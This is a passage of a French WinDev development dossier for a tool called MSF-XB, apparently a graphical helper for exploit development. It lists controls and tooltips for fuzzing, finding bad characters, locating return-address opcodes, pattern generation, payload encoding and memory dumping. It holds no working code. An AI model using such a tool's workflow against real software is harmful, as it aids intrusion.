INT_AUTO_JAVASCRIPT 29 668 442 25 0 Actif 1

SélecteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

SEL_MSF 703 190 76 64 0 Actif 1

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -42 14 14 0 Actif

IMG_Image1 16 287 159 51 0 Actif

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TABLE_DLL 16 558 786 186 0 Actif Mémoire 0

TABLE_DLL_MEMOIRE 808 134 196 545 0 affichag Mémoire 0

TABLE_Design 29 130 973 513 0 Actif Mémoire 0

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

COMBO_ALPHABET 22 423 191 28 0 Actif Mémoire

COMBO_COMMANDE 22 92 197 28 0 Actif Mémoire

COMBO_Convertion 22 383 154 28 0 Actif Mémoire

COMBO_Encoder 581 406 233 28 0 Actif Mémoire

COMBO_FUZZER 346 284 346 28 0 Actif Mémoire

COMBO_FormatPayload 814 407 113 28 0 Actif Mémoire

COMBO_Locale 242 252 104 28 0 Actif Fichier

COMBO_OPCODE 441 136 150 28 0 Actif Mémoire

COMBO_OPCODE_LIST 234 136 207 28 0 Actif Mémoire

COMBO_OSSP 181 252 59 28 0 Actif Mémoire

COMBO_PROTOCOLE 346 196 276 28 0 Actif Mémoire

COMBO_REGISTRE 591 136 97 28 0 Actif Mémoire

COMBO_RegDump 16 629 105 28 0 Actif Mémoire

COMBO_RetType 729 668 190 28 0 Actif Mémoire

COMBO_TARGET 181 196 165 28 0 Actif Mémoire

Page 424: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 429

Position Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

COMBO_Transformation 65 378 121 28 0 Actif Mémoire

OngletPosition Position Largeur Hauteur Plan Visib Etat initial Touc Pos. volets Volet Nb.

ONG_Onglet1 10 56 1000 695 0 Actif haut 0

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCFindReplaceTXT 219 174 699 324 0 Actif

SCSystemButtons 890 1 128 18 0 Actif

SCSystème 89 224 251 21 0 Actif

SC_RechercherRemplacerTXT 101 434 901 319 0 Actif

SC_RechercherRemplacerTXT1 101 131 901 241 0 Actif

SC_SelecteurPayload 16 403 559 25 0 Actif

SC_SelecteurShellcode 16 100 559 25 0 Actif

Table : ONG_Onglet1.TABLE_DLLColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

COL_CHEMIN_DLL 467 Actif Gauche Centre Texte

COL_VERSION_DLL 100 Actif Gauche Centre Texte

COL_MD5_DLL 100 Actif Gauche Centre Texte

COL_SHA1_DLL 100 Actif Gauche Centre Texte

Page 425: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 430

Table : ONG_Onglet1.TABLE_DLL_MEMOIREColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

DLL_CHEMIN 187 Actif Gauche Centre Texte

DLL_PID 70 Actif Gauche Centre Texte

DLL_VERSION 250 Actif Gauche Centre Texte

DLL_MD5 100 Actif Gauche Centre Texte

DLL_SHA1 100 Actif Gauche Centre Texte

Table : ONG_Onglet1.TABLE_DesignColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

COL_Operation 66 Actif Gauche Centre

COL_Longueur 100 Actif Droite Centre Numériqu

COL_Valeur 788 Actif Gauche Centre Texte

Superchamp : ONG_Onglet1.SCFindReplaceTXTChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

EDIT_FIND 220 177 694 22 0 Grisé Texte

EDIT_REPLACE 220 201 694 22 0 Grisé Texte

SAI_PATTERN 220 265 694 228 0 Actif Texte

Page 426: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 431

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_RetrouveBadchars 819 276 80 24 0 Actif Normal

BTN_TEST_BADCHARS 700 276 80 24 0 Actif Normal

BtnNext 291 242 82 20 0 Grisé Interrup

BtnReplace 391 242 82 20 0 Grisé Interrup

BtnReplaceAll 491 242 82 20 0 Grisé Interrup

BtnReplaceAll1 590 242 82 20 0 Actif Normal

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

ChCaseSensitive 288 220 119 23 0 Grisé 1

ChFullWord 418 220 144 23 0 Grisé 1

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 975 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 925 0 26 19 0 Actif Normal

BTN_Syst_Maximize 951 0 25 19 0 Actif Normal

BTN_UMC 891 0 24 19 0 Actif Normal

Superchamp : ONG_Onglet1.SCSystèmeCombo

Position Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

ComboSystème 89 224 255 28 0 Actif Mémoire

Page 427: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 432

Superchamp : ONG_Onglet1.SC_RechercherRemplacerTXTChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAI_RECHERCHE 101 436 896 22 0 Grisé Texte

SAI_REMPLACE 101 460 896 22 0 Grisé Texte

SAI_Shellcode2 101 524 894 221 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_Remplacer 272 501 82 20 0 Grisé Interrup

BTN_RemplacerTout 372 501 82 20 0 Grisé Interrup

BTN_Suivant 172 501 82 20 0 Grisé Interrup

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

INT_CASSE 169 479 119 23 0 Grisé 1

INT_MOTCOMPLET 299 479 144 23 0 Grisé 1

Superchamp : ONG_Onglet1.SC_RechercherRemplacerTXT1Champ de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAI_RECHERCHE 101 133 896 22 0 Grisé Texte

SAI_REMPLACE 101 157 896 22 0 Grisé Texte

SAI_Shellcode 101 221 894 143 0 Actif Texte

Page 428: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 433

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_Remplacer 272 198 82 20 0 Grisé Interrup

BTN_RemplacerTout 372 198 82 20 0 Grisé Interrup

BTN_Suivant 172 198 82 20 0 Grisé Interrup

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

INT_CASSE 169 176 119 23 0 Grisé 1

INT_MOTCOMPLET 299 176 144 23 0 Grisé 1

Superchamp : ONG_Onglet1.SC_SelecteurPayloadChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAI_FIC 16 405 539 22 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 554 407 18 24 0 Actif Normal

Superchamp : ONG_Onglet1.SC_SelecteurShellcodeChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAI_FIC 16 102 536 22 0 Actif Texte

Page 429: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 434

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 551 104 18 24 0 Actif Normal

Fenêtre : MSFXB_AssistantBouton : ONG_Onglet1.BTN_ASCII

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 51Curseur survol 0On/Off Non

Altitude 15

Bulle d'aide FR: Table ASCIIGB: ASCII table

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_VisionPlus.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 430: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 435

Bouton : ONG_Onglet1.BTN_Bouton1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Fuzz itOrdre navigation 28Curseur survol 0On/Off Non

Altitude 12

Bulle d'aide FR: Lance le fuzzer sélectionnéGB: Launch the selected fuzzer

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 431: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 436

Bouton : ONG_Onglet1.BTN_Bouton2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &BoutonGB: Button

Ordre navigation 5Curseur survol 0On/Off Non

Altitude 30

Bulle d'aide FR: Choisir l'exécutable cibleGB: Choose your target software

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_VisionPlus.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 432: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 437

Bouton : ONG_Onglet1.BTN_Bouton3

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: IMPORTGB: Button

Ordre navigation 41Curseur survol 0On/Off Non

Altitude 18

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 433: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 438

Bouton : ONG_Onglet1.BTN_BruteForce

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Force bruteGB: &BruteForce

Ordre navigation 69Curseur survol 0On/Off Non

Altitude 21

Bulle d'aide FR: Tenter la découverte des caratères interdits par force bruteGB: Try to discover badchars via bruteforce

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 434: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 439

Bouton : BTN_Button1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: HelpGB:

Ordre navigation 103Curseur survol 0On/Off Non

Altitude 10

Numéro aide 8

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 435: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 440

Bouton : ONG_Onglet1.BTN_CALC

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 56Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR: CalculatriceGB: Calc

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST18144g-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 436: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 441

Bouton : ONG_Onglet1.BTN_CALCULER_SPACE

Note pour le dossier

FR,GB: FR,GB:

Groupe GR_SPACEOrdre navigation 53Curseur survol 0On/Off Non

Altitude 6

Bulle d'aide FR: Calculer l'alignementGB: Calculate alignment

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 437: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 442

Bouton : ONG_Onglet1.BTN_CONVERT

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 80Curseur survol 0On/Off Non

Altitude 25

Bulle d'aide FR: Convertir la patternGB: Convert the pattern

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 438: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 443

Bouton : ONG_Onglet1.BTN_DumpReg

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &Dump >Ordre navigation 78Curseur survol 0On/Off Non

Altitude 5

Bulle d'aide FR: Dumper la mémoireGB: Dump the memory

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 439: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 444

Bouton : ONG_Onglet1.BTN_EXECUTE_PROCESS

Note pour le dossier

FR,GB: FR,GB:

Groupe GR_INFO_PROCESSOrdre navigation 6Curseur survol 0On/Off Non

Altitude 34

Bulle d'aide FR: Exécuter le processusGB: Run the process

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01641-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 440: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 445

Bouton : BTN_ExecuteCommande

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &ExécuterGB: &Execute

Ordre navigation 62Curseur survol 0On/Off Non

Altitude 6

Bulle d'aide FR: Exécuter la commande (idem CMD)GB: Execute the command (like CMD)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 441: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 446

Bouton : ONG_Onglet1.BTN_GENERER_ASCII

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 49Curseur survol 0On/Off Non

Altitude 7

Bulle d'aide FR: Générer une chaîne des caractères ASCII (sans les badchars)GB: Generate a text string with the ASCII characters (without the badchars)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 442: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 447

Bouton : ONG_Onglet1.BTN_GENERER_ASCII1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: 0-9A-Z x4Ordre navigation 92Curseur survol 0On/Off Non

Altitude 30

Bulle d'aide FR: Générer une chaîne des caractères ASCII 0à9+AàZ+aàz (sans les badchars)GB: Generate a text string with the ASCII characters 0-9 + A-Z + a-z (without the badchars)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 443: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 448

Bouton : ONG_Onglet1.BTN_GENERER_PATTERN

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 44Curseur survol 0On/Off Non

Altitude 11

Bulle d'aide FR: Générer une chaîne non redondanteGB: Generate a non-repeating alpha-numeric text string

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 444: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 449

Bouton : ONG_Onglet1.BTN_GENERER_PATTERN1

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 45Curseur survol 0On/Off Non

Altitude 13

Bulle d'aide FR: Générer une chaîne composée de 'taille' fois le caractèreGB: Pattern= length x character

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 445: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 450

Bouton : ONG_Onglet1.BTN_GENERER_PATTERN2

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 64Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR: ConvertirGB: Convert

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 446: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 451

Bouton : ONG_Onglet1.BTN_GenererPayload

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: GénérerGB: Generate

Ordre navigation 85Curseur survol 0On/Off Non

Altitude 7

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 447: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 452

Bouton : ONG_Onglet1.BTN_LISTER_OPCODES

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ListerGB: List

Groupe GR_LIST_OPCODESOrdre navigation 16Curseur survol 0On/Off Non

Altitude 27

Bulle d'aide FR: Lister les opcodes / adresses de retourGB: List the opcodes / return addresses

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 448: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 453

Bouton : ONG_Onglet1.BTN_LOAD_DLL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ChargerGB: Load

Ordre navigation 38Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR: Charger la DLL en mémoireGB: Load the DLL in memory

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 449: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 454

Bouton : ONG_Onglet1.BTN_MEMDUMP

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: MEMDUMPGroupe GR_LIST_OPCODESOrdre navigation 12Curseur survol 0On/Off Non

Altitude 23

Bulle d'aide FR: Dumper le processusGB: Dump the process

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

